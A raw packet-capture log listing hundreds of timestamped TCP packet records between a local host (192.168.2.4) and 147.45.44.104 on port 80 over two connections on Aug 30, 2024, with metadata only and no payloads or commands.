Aug 30, 2024 06:17:06.347538948 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.347543955 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.347573042 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.347573042 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.347603083 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.347613096 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.347623110 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.347632885 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.347642899 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.347652912 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.347654104 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.347671986 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.347686052 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.347759962 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.347774029 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.347784042 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.347795963 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.347807884 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.347819090 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.347831011 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.347831011 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.347846985 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.347847939 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.347878933 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.347888947 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.347942114 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.347953081 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.347963095 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.347974062 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.347985029 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.347991943 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.347995043 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.348006010 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.348009109 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.348020077 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.348063946 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.348063946 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.348092079 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.348103046 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.348176003 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.348185062 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.348195076 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.348205090 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.348216057 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.348227024 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.348227978 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.348236084 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.348237991 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.348248005 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.348269939 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.348292112 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.348321915 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.348331928 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.348342896 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.348351002 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.348400116 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.348400116 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.348416090 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.348426104 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.348433971 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.348444939 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.348460913 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.348470926 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.348479986 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.348479986 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.348486900 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.348495960 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.348536015 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.348536015 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.348557949 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.348568916 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.348607063 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.348637104 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.348648071 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.348655939 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.348665953 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.348675966 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.348681927 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.348685980 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.348695993 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.348695993 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.348714113 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.348751068 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.351629019 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.351639032 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.351649046 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.351706982 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.351706982 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.351813078 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.351821899 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.351830959 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.351847887 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.351857901 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.351866007 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.351875067 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.351878881 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.351878881 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.351885080 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.351892948 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.351897001 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.351903915 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.351938963 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.351947069 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.351947069 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.351947069 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.351948977 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.351979971 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.352036953 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.352046967 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.352056026 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.352065086 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.352078915 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.352091074 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.352092028 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.352092028 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.352127075 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.352127075 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.352139950 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.352149010 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.352157116 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.352183104 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.352241993 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.352255106 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.352271080 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.352279902 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.352289915 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.352304935 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.352313995 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.352319956 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.352319956 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.352323055 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.352350950 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.352370024 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.352392912 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.352401972 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.352411032 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.352430105 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.352472067 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.352555037 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.352564096 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.352572918 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.352581024 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.352591038 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.352591991 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.352607012 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.352617025 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.352627039 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.352636099 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.352643013 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.352643013 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.352643013 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.352644920 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.352683067 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.352683067 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.368899107 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.368917942 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.368928909 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.368938923 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.368949890 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.368958950 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.368969917 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.368988991 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.369029999 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.369035959 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.369040012 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.369050026 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.369060993 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.369071960 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.369071960 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.369086027 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.369119883 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.369153023 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.369163036 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.369173050 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.369184971 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.369194984 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.369196892 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.369204998 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.369214058 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.369244099 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.369270086 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.369281054 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.369291067 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.369302034 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.369313002 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.369319916 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.369339943 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.369354963 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.369373083 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.369430065 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.369441032 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.369468927 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.369494915 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.369494915 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.369503975 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.369513988 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.369524002 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.369534016 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.369539022 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.369561911 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.369582891 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.371678114 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.371695995 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.371705055 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.371735096 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.371743917 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.371776104 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.371810913 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.371820927 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.371829987 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.371840000 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.371850014 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.371850014 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.371862888 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.371889114 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.371916056 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.371925116 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.371934891 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.371951103 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.371953964 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.371962070 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.371973991 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.371997118 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.372139931 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.372149944 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.372159004 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.372168064 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.372179031 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.372184038 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.372190952 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.372195005 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.372200966 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.372215033 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.372235060 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.377402067 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.377448082 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.377542973 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.377629995 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.377640009 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.377648115 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.377657890 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.377667904 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.377677917 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.377686977 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.377692938 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.377702951 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.377712011 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.377744913 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.377756119 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.377772093 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.377780914 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.377789021 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.377808094 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.377814054 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.377824068 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.377829075 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.377857924 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.378561020 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.378568888 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.378607988 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.378608942 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.378631115 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.378642082 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.378645897 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.378670931 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.378679991 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.378689051 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.378698111 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.378732920 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.378765106 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.378773928 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.378788948 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.378804922 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.378818035 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.378927946 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.378937006 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.378945112 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.378954887 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.378964901 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.378969908 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.378978968 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.378993034 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.378994942 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.379003048 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.379014015 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.379028082 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.379034042 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.379039049 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.379048109 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.379057884 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.379062891 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.379108906 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.379185915 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.379195929 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.379204988 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.379215002 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.379225016 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.379225016 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.379234076 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.379235029 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.379261017 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.379276991 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.379307032 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.379317999 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.379326105 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.379334927 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.379343987 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.379350901 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.379374027 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.379384995 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.379559040 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.379568100 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.379575968 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.379591942 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.379602909 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.379604101 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.379611015 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.379621029 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.379628897 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.379630089 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.379640102 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.379648924 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.379650116 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.379659891 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.379671097 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.379673958 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.379681110 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.379699945 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.379715919 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.379724979 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.379734993 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.379743099 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.379750967 CEST	80	49735	147.45.44.104	192.168.2.4
